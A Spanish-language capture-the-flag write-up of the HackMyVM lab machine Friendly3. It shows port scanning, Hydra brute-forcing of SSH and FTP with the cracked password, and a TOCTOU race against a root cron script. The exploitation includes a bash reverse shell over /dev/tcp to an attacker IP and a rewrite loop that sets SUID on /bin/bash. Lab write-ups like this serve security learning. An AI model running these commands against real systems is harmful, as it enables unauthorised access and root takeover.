cd ~/blog

~/writeups/hmv/030-friendly3.md

030 - Friendly3

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Weak Password reutilizada en SSH y FTPTOCTOU Race Condition sobre un script temporal ejecutado por root
hackmyvm.eu/machines/machine.php?vm=Friendly3

~2 min de lectura


Enumeración de servicios

Comenzamos con un escaneo de puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.24
❯ nmap -sCV -p21,22,80 -oN 02-targeted.txt 192.168.1.24
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-28 19:54 -03
Nmap scan report for 192.168.1.24
Host is up (0.00027s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
|   256 bc:46:3d:85:18:bf:c7:bb:14:26:9a:20:6c:d3:39:52 (ECDSA)
|_  256 7b:13:5a:46:a5:62:33:09:24:9d:3e:67:b6:eb:3f:a1 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Welcome to nginx!
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.49 seconds

Obtención de acceso por SSH

En la web encontramos un mensaje que revela dos usuarios. La cuenta presenta un caso de Weak Password y con Hydra descubrimos la contraseña de juan, válida tanto para SSH como para FTP:

❯ hydra -L users.txt -P ~/Documentos/wordlists/rockyou.txt 192.168.1.24 ssh -t 64
...
[22][ssh] host: 192.168.1.24   login: juan   password: alexis
...
❯ hydra -l juan -P ~/Documentos/wordlists/rockyou.txt 192.168.1.24 ftp -t 64
...
[21][ftp] host: 192.168.1.24   login: juan   password: alexis
...

Encontrar la misma combinación en ambos servicios confirma reutilización de credenciales. FTP sirve para revisar los mensajes publicados, mientras que SSH aporta una sesión interactiva desde la que podemos estudiar procesos, permisos y tareas periódicas.

Análisis de la tarea programada

En el FTP hay algunos .txt con mensajes. Al conectarnos por SSH obtenemos la primera flag. En /opt encontramos un script que descarga y ejecuta otro desde /tmp:

#!/bin/bash

/usr/bin/curl "http://127.0.0.1/9842734723948024.bash" > /tmp/a.bash

chmod +x /tmp/a.bash
chmod +r /tmp/a.bash
chmod +w /tmp/a.bash

/bin/bash /tmp/a.bash

rm -rf /tmp/a.bash

Para confirmar que se ejecuta periódicamente como root, monitorizamos con pspy64 (transferido vía un servidor HTTP):

❯ python3 -m http.server
juan@friendly3:/tmp$ curl -X GET "http://192.168.1.10:8000/pspy64" -o pspy64

pspy observa eventos de procesos sin requerir privilegios elevados. Su salida permite correlacionar la ejecución periódica con UID 0 y ver el orden de curl, chmod, bash y rm. Esta comprobación evita asumir que encontrar un script en /opt significa automáticamente que cron lo ejecuta como root.

Escalada de privilegios mediante una condición de carrera

Verificamos que el script corre cada par de minutos. El flujo crea /tmp/a.bash, lo hace escribible y sólo después lo ejecuta como root, dejando una ventana de tiempo entre chmod +w y /bin/bash. Debemos reemplazar o reescribir el archivo dentro de esa ventana. Las notas originales conservaron la carga y la conexión recibida, aunque no el comando exacto usado para sincronizar la escritura:

juan@friendly3:/tmp$ cat a.bash
#!/bin/bash

bash -i >& /dev/tcp/192.168.1.19/4321 0>&1

❯ ncat -nlvp 4321
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4321
Ncat: Listening on 0.0.0.0:4321
Ncat: Connection from 192.168.1.24:39956.
bash: cannot set terminal process group (3107): Inappropriate ioctl for device
bash: no job control in this shell
root@friendly3:~#

La debilidad es una TOCTOU Race Condition: el proceso privilegiado prepara un archivo en un directorio compartido y lo usa más tarde, pero otro usuario puede cambiar su contenido entre ambas operaciones. Crear una carga estática una sola vez no basta, ya que curl sobrescribe el archivo al comienzo del ciclo y rm lo elimina al final.

// renderizando diagrama…

El diagrama muestra el mecanismo temporal: la comprobación y preparación pertenecen al proceso privilegiado, pero el objeto usado después sigue bajo influencia de otro usuario.

Una alternativa más fiable es mantener un proceso en bucle que vuelva a escribir una orden para asignar el bit SUID a Bash. El proceso se inicia como juan y falla mientras el archivo pertenece a root sin permiso de escritura, pero puede reemplazarlo durante la ventana abierta por chmod +w:

juan@friendly3:/tmp$ while true; do
    { printf '%s\n' 'chmod +s /bin/bash' > /tmp/a.bash; } 2>/dev/null
done

En otra terminal comprobamos el resultado y conservamos el EUID privilegiado con -p:

juan@friendly3:/tmp$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1265648 Apr 23  2023 /bin/bash
juan@friendly3:/tmp$ bash -p
bash-5.2# whoami
root

El bucle aumenta la probabilidad de escribir durante la ventana vulnerable y evita depender de una sincronización manual que no quedó documentada. Cuando root ejecuta una versión que contiene chmod +s /bin/bash, el cambio persiste aunque /tmp/a.bash se elimine después. Finalmente, bash -p conserva el EUID obtenido mediante SUID y entrega la shell privilegiada.

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados